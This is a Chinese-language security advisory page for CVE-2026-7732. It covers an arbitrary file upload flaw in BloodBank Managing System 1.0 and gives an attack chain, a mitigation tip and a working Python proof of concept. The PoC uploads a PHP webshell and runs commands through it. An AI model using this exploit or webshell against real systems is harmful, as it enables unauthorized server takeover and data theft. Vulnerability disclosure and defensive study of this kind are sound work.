IPBUF安全漏洞报告
English
CVE-2026-7732 CVSS 6.3 中危

CVE-2026-7732: BloodBank任意文件上传漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7732
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects BloodBank Managing System

相关标签

任意文件上传远程代码执行BloodBankCVE-2026-7732

漏洞概述

BloodBank管理系统1.0版本中存在安全漏洞,位于`request_blood.php`文件。由于未对上传文件进行有效验证,导致攻击者可远程上传恶意文件。利用此漏洞可能导致服务器被非法控制,造成数据泄露。鉴于漏洞利用代码已公开,风险较高。

技术细节

该漏洞属于典型的任意文件上传漏洞,其根本原因在于`request_blood.php`文件在处理用户上传请求时,未对上传文件的扩展名、文件头或MIME类型进行严格的校验。由于CVSS向量显示攻击复杂度低且无需用户交互,攻击者只需具备低权限账号即可发起攻击。具体利用过程中,攻击者通过构造特定的HTTP POST请求,将包含恶意代码的脚本文件(如PHP webshell)发送至服务器端。服务器接收到文件后,直接将其保存到Web目录下且保留了原始脚本后缀。随后,攻击者通过浏览器访问该恶意文件的URL,服务器端解析引擎执行其中的恶意代码,从而获取服务器权限,实现远程代码执行(RCE)。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是BloodBank Managing System 1.0,并定位到存在漏洞的`request_blood.php`接口。
STEP 2
获取权限
攻击者注册或使用已有的低权限账户登录系统,满足CVSS向量中的PR:L要求。
STEP 3
漏洞利用
攻击者构造包含恶意PHP脚本的POST请求,发送至`request_blood.php`,绕过服务器端的文件类型检查,将文件上传至Web目录。
STEP 4
执行代码
攻击者通过浏览器访问已上传的恶意文件URL,触发服务器端解析,从而在目标服务器上执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com/path/to/request_blood.php" shell_url = "http://target.com/path/to/uploads/shell.php" # PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" # Data payload for the upload request # Note: The parameter name 'file' might vary based on the actual form files = { 'file': ('shell.php', php_payload, 'application/octet-stream') } data = { 'submit': 'Submit' # Example submit button value } try: # Send the upload request response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Verify the shell execution verify = requests.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print("[+] Shell is active!") print(f"[+] Current user: {verify.text}") else: print("[-] Shell upload failed or path incorrect.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

code-projects BloodBank Managing System 1.0

防御指南

临时缓解措施
建议管理员暂时禁用`request_blood.php`中的文件上传功能,或在Web服务器配置层面(如.htaccess或nginx.conf)严格禁止上传目录执行PHP脚本,直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表